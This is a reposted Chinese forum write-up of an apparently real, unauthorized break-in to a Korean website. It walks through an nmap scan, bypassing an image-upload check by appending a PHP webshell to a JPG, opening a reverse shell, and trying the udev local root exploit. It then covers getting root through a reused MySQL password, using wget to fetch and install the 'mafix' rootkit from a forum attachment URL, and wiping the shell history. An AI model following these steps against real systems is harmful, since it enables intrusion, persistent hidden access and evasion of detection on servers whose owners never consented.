设为首页 收藏本站
查看: 3400|回复: 0

[经验分享] php特殊上传

[复制链接]

尚未签到

发表于 2018-12-21 10:27:30 | 显示全部楼层 |阅读模式
  信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
  很久不写东西了,写个linux系统web到root的***笔记吧,简单来说过程没什么技术含量,看了可以为大提供一个不常用的上传思路,和新 的linux本地权限提升漏洞的使用方法,以及介绍一款rootkit 。这事起因是有个朋友要K一个棒子(韩国)站,死活搞不定,就来骚扰我了,我现在是不怎么喜欢搞站的,偶尔搞搞也是搞点新鲜的玩玩,怕荒废了,最近几年主 要还是研究逆向和漏洞方面的东西,不过这鸟人唐僧似的骚扰法整的我实在“心神不宁”,又不好意思拒 绝,勉强帮忙看一下吧。过程如下:
  首先用nmap检测一下目标网站的系统服务和一些端口banner的信息。
  Nmap -v -sT -sV -O -P0 -oX test.xml ***.kr
  21/tcp   open     ftp            ProFTPD
  22/tcp   open     ssh            OpenSSH 4.3 (protocol 2.0)
  25/tcp   open     smtp           Sendmail 8.13.8/8.13.8
  53/tcp   open     domain         ISC BIND 9.3.4-P1
  80/tcp   open     http           Apache httpd
  135/tcp  filtered msrpc
  136/tcp  filtered profile
  137/tcp  filtered netbios-ns
  138/tcp  filtered netbios-dgm
  139/tcp  filtered netbios-ssn
  445/tcp  filtered microsoft-ds
  593/tcp  filtered http-rpc-epmap
  623/tcp  filtered unknown
  664/tcp  filtered unknown
  873/tcp  open     rsync           (protocol version 29)
  3306/tcp open     mysql          MySQL 4.0.27
  4444/tcp filtered krb524
  5000/tcp open     tcpwrapped
  8080/tcp open     http           Apache Tomcat/Coyote JSP engine 1.1
  Service Info: Host: ****.com; OS: Unix
  还有一部分信息我省略了,免得占用太多篇幅,从上面的探测结果来分析,这系统显然不会是windows了,没有太大的直接利用价值,应该不会有弱口令或溢 出一类的,虽然棒子比较懒,但这么弱智的还是少,一般会发生在windows的服务器上,下面就该看网站上的信息了。
  网站是由一套php程序组成的,我对程序鉴别不是很在行,所以也不知道是否开源,是否有漏洞,那么我就先从google搜索关键字allinurl: .php site:***.kr 来搜寻php的页面,把google的链接放到类似于管中窥豹的这类工具中扫描,结果不出所料,一个注入点也扫不到。用web vulnerability scanner 来扫描了解下网站的整体架构。一般看了扫描结果基本对网站的整体框架就会有一定 的了解,然后从中搜寻入手点。
  在主页上我看到有一个登陆界面,我喜欢先找上传方面的问题,有可以同网站交互的地方,就可能存在着隐患,所以我现在注册一个账户并且登陆进去。之后再主页 上找到了一个类似论坛或交流版的地方,可以发帖子,发帖功能中可以上传附件,这里就是通向webshell的桥梁,但这个桥并不是那么好过。如图1:
DSC0000.gif DSC0001.jpg


DSC0002.gif 001.jpg (52.21 KB)2010-3-9 17:01  选择要上传的图片后,自动就传上去了,这个省事,省着我去点上传了,图片上传好后点确定,从编辑窗口中修改编辑格式为text就可以看到上传后的地址  现在我试着伪造一个gif文件头的php***来上传。效果如图2
DSC0003.jpg


002.jpg (28.72 KB)2010-3-9 17:01  上传失败。即使后缀为gif也失败,这个上传功能看来要验证完整的图片才可以。必须要换个方法,现在使用jpginject程序来把php一句话***注入 到jpg文件中,注意这个工具只能把代码注入jpg格式的图片,不支持png以及gif(原理上来说应该可以,只不过工具打不开非jpg格式图片)。使用 格式为 edjpgcom.exe 要注入的jpg图片,然后会弹出如图3的窗口:
DSC0004.jpg


003.jpg (42.84 KB)2010-3-9 17:01  把代码写入里面,点OK就可以了,现在那个图片中就被注入了php一句话***。那个挑勾的delete backup选项的意思是问是否删除备份,如果不选择的话会在当前目录生成一个后缀bak的备份文件,这个选还是不选就看自己的需要了。现在把处理过的 jpg文件后缀修改为php然后上传。结果如图4
DSC0005.jpg


004.jpg (25.96 KB)2010-3-9 17:01  依然无效,看来这个工具并不适合在这里利用,可能本地包含漏洞可以试试这个(milw0rm上的录像用的就是这个工具配合本地文件包含)。现在再换一种方 法,使用c32asm以16进制显示方式打开这个图片文件,在文件末尾加上php一句话代码(如图5),尽量在php代码前面在加个空格,因为有些时候如 果不加空格," 保存为php文件上传。这段代码的意思是在当前目录下生成一个名为sunwear.php的文件,内容是我们的一句话***。上传后访问该地址,在然后我们 试试用一句话客户端连接这个地址同目录下的sunwear.php 密码 sunwear 如图8
DSC0006.jpg


008.jpg (58.12 KB)2010-3-9 17:01  这下终于传上来了。下面的工作就是传大马了,这个就不需要废话了。取得webshell并不是我理想的结果,windows不拿到系统权限不舒 服,linux不拿到root感觉还是不舒服(当然有时候只能不舒服),所以继续踏上提权之旅,为了方便提权,先用webshell反弹回一个命令行的 shell在说,c99这类的shell貌似都有反弹shell的功能(有perl版,有C版)。如图9
DSC0007.jpg


009.jpg (67.5 KB)2010-3-9 17:01  来看下系统相关信息,来确定我们是在什么环境下。
  cat /proc/version
  Linux version 2.6.18-128.1.10.el5 (
  mockbuild@builder16.centos.org
  ) (gcc version
  4.1.2 20080704 (Red Hat 4.1.2-44)) #1 SMP Thu May 7 10:39:21 EDT 2009
  cat /etc/redhat-re*

  CentOS>  uname -a
  Linux eposang.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:39:21 EDT 2009 i686 i6
  86 i386 GNU/Linux
  内核版本是2.6.18 ,版本很高,目前只能试试新出不久的 udev
  本地溢出
  提权漏洞了,由于返回的shell没权限使用 wget,所以直接用webshell来传,创建一个文件名为1 把exp写入进去。Exploit地址
  http://www.milw0rm.com/exploits/8478
  (还有另一个版本的exp 是C版 不过不推荐那个)。然后 chmod +x 1 赋予exp文件执行权限。
  现在我们需要获取udev 的进程PID。执行下面的命令
  ps ax|grep udev|grep -v grep|awk {'print $1'}
  返回457,而exp参数需要的是进程ID减一,也就是456。执行
  ./1 456
  /bin/sh: ./1: /bin/sh^M: bad interpreter: No such file or directory
  这个是由系统编码所引起的错误,有些系统没事。解决方法:
  Vi 1
  :set ff=unix
  :wq
  现在OK了,继续。
  ./1 456
  suid.c: In function 'main':
  suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
  ./1: line 131: /tmp/udev: Permission denied
  /tmp/udev没有执行权限,chmod +x 无用,看来现在我就要对exploit进行修改了,把/tmp/替换为一个拥有权限的目录,比如web目录(注意不要设置与程序同一个目录),再执行看回 显:
  ./1 456
  suid.c: In function 'main':
  suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
  执行上没有出问题,但似乎并没有成功,据baoz总等人讲,有时候需要反复溢出,但我大概溢出了N(N>10)次也没见成功,看来是人品问题。此路 不通换一路,我记得2002年还是2003年来着写过一篇***国内某linux服务器组的文章,大概意思是管理员的密码通用,所以下面工作就是采集信息 了,现在找到网站的数据库连接配置文件。如图10:
DSC0008.jpg


010.jpg (8.82 KB)2010-3-9 17:01  看到 mysql的用户和密码,可惜不是root ,这个服务器有很多库,用户名是网站的名字,似乎有点虚拟主机的样子,不过还是连接到数据库,将管理员表中的几个密码都记下来,然后一个一个得在ssh上 登陆,试了大概10来个密码也没进去,最后用mysql的密码连上了root,貌似是我的大脑短路了,应该先试mysql的密码啊,这种逻辑错误的发生概 率在我身上还是比较大的。之后我发现服务器上果然所有密码基本上都是同一个(ftp,ssh,网站等等)。
  有了root权限剩下的工作就是留个万恶的rootkit了。前几天opensc.ws上有人放了一个linux 2.6.* 内核的rootkit ,我在自己的服务器上和虚拟机上都测试了一下,还是不错的。我传到EST论坛了,大家可以试试。帖子地址:
  https://forum.eviloctal.com/viewthread.php?tid=38136
  用root登陆ssh,wget下载 (这里下载就不用加https了,另外上面发的是帖子地址下面是附件地址,wget要连接附件的地址。)
  [root@*** tmp]# wget
  http://forum.eviloctal.com/attachment.php?aid=13419
  …… 省略                                                                                          446,713      275K/s   in 1.6s     /* 速度还挺快 */
  10:38:45 (275 KB/s) - `mafix.tar.gz' saved [446713]
  在然后 tar zxvf mafix.tar.gz 解压缩。进入目录,赋予root文件执行权限,如图11
DSC0009.jpg


011.jpg (67.76 KB)2010-3-9 17:01  格式为./root 连接密码 端口  回车
  由于这个服务器配置问题bash没有执行权限,我还了个目录执行,如果安装成功结果会如下图12:
DSC00010.jpg


012.jpg (178.64 KB)2010-3-9 17:01  安装成功后目录会自行删除,最后 history -c 清除我们的命令记录。


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-653922-1-1.html 上篇帖子: php上传纯文本的代码 下篇帖子: php上传下载参数
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表